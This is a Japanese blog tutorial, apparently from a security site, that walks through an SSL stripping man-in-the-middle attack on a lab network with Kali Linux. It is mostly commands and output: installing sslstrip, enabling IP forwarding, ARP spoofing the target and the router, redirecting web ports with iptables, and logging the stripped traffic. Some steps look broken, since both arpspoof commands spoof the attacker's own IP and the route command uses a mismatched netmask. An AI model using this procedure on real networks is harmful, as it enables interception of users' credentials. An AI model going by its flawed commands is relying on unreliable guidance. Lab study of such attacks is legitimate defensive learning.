Security Record

セキュリティ全般に関する情報を発信しています

Kali Linuxを用いたSSLストリップ攻撃の方法

SSLストリップ攻撃とは

SSL ストリップは、Web サイトへの接続を、セキュアな HTTPS から暗号化されていない HTTP にダウングレードさせる攻撃手法です。
攻撃者は、ユーザーのコンピュータと Web サイトの間に流れるすべてのトラフィックを、攻撃者のプロキシサーバーを介してリダイレクトできます。
これにより、HTTPS 通信をしているように見せかけ、暗号化されたデータを復号することが可能となります。

SSLストリップ攻撃の条件

SSLストリップ攻撃を実行するとHTTPS通信の内容を傍受することが可能になります。
攻撃達成の条件として事前にARPスプーフィング攻撃が成功している事が必要になります。

sslstripのインストール

sslstripはKali Linuxに標準でインストールされていないので、 下記コマンドでインストールを実行します。

┌──(root㉿kali)-[/home/kali]
└─# apt install sslstrip   

攻撃端末のIPアドレスとMACアドレスの確認

攻撃端末のIPアドレスとMACアドレスの確認をします。

IPアドレス:192.168.28.3
MACアドレス:08:00:27:06:b1:3c

┌──(root㉿kali)-[/home/kali]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.28.3  netmask 255.255.255.0  broadcast 192.168.28.255
        inet6 fe80::1b11:4e1d:a933:c4ef  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:06:b1:3c  txqueuelen 1000  (イーサネット)
        RX packets 360  bytes 45363 (44.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1278  bytes 86674 (84.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

標的端末のIPアドレスとMACアドレスの確認

標的端末のIPアドレスとMACアドレス
IPアドレス:192.168.28.5
MACアドレス:08:00:27:e8:93:df

┌──(root㉿kali)-[/home/kali]
└─# arp -a
? (192.168.28.2) at 08:00:27:60:65:ea [ether] on eth0
? (192.168.28.5) at 08:00:27:e8:93:df [ether] on eth0
? (192.168.28.1) at 0a:00:27:00:00:15 [ether] on eth0

ルーターのIPアドレスとMACアドレスの確認

ルーターのIPアドレスとMACアドレス
IPアドレス:192.168.28.1
MACアドレス:0a:00:27:00:00:15

┌──(root㉿kali)-[/home/kali]
└─# route add -net 0.0.0.0 netmask 255.255.255.0 gw 192.168.28.1
                                                                                                     
┌──(root㉿kali)-[/home/kali]
└─# route -n                                                    
カーネルIP経路テーブル
受信先サイト    ゲートウェイ    ネットマスク   フラグ Metric Ref 使用数 インタフェース
0.0.0.0         192.168.28.1    255.255.255.0   UG    0      0        0 eth0
192.168.28.0    0.0.0.0         255.255.255.0   U     100    0        0 eth0

ARPスプーフィングの実行

IPフォワーディングを有効にする

┌──(root㉿kali)-[/home/kali]
└─# echo 1 > /proc/sys/net/ipv4/ip_forward 
                                                                                                                   
┌──(root㉿kali)-[/home/kali]
└─# cat /proc/sys/net/ipv4/ip_forward
1

標的PCに偽の情報を送る

┌──(root㉿kali)-[~]
└─# arpspoof -i eth0 -t 192.168.28.5 192.168.28.3
8:0:27:6:b1:3c 8:0:27:e8:93:df 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c 8:0:27:e8:93:df 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c 8:0:27:e8:93:df 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c
・・・延々と出力され続ける

ルーターに偽の情報を送る

┌──(root㉿kali)-[/home/kali]
└─# arpspoof -i eth0 -t 192.168.28.1 192.168.28.3
8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c
・・・延々と出力され続ける

SSLストリップ攻撃を有効にするためにIPテーブルを書き換える

┌──(root㉿kali)-[/home/kali]
└─# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
                                                                    
┌──(root㉿kali)-[/home/kali]
└─# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

ストリップ攻撃の実行

┌──(root㉿kali)-[/home/kali]
└─# sslstrip -f -a -k -l 8080 -w /root/sslstrip.txt

SSLストリップ攻撃のログを取得する

┌──(root㉿kali)-[/home/kali]
└─# cd /root/     

┌──(root㉿kali)-[~]
└─# cat sslstrip.txt 

ストリップ攻撃の実行とログの取得については、 Ettercapを使用する方法でも可能らしい。

┌──(root㉿kali)-[/home/kali]
└─# sslstrip -f -a -k -l 8080 

┌──(root㉿kali)-[~]
└─# ettercap -G  

IPフォワーディングを無効にする

後処理としてIPフォワーディングを無効にしておきます。

┌──(root㉿kali)-[/home/kali]
└─# echo 0 > /proc/sys/net/ipv4/ip_forward 
                                                                                                                   
┌──(root㉿kali)-[/home/kali]
└─# cat /proc/sys/net/ipv4/ip_forward
0

参考

https://security-record.com/entry/2023/06/18/224924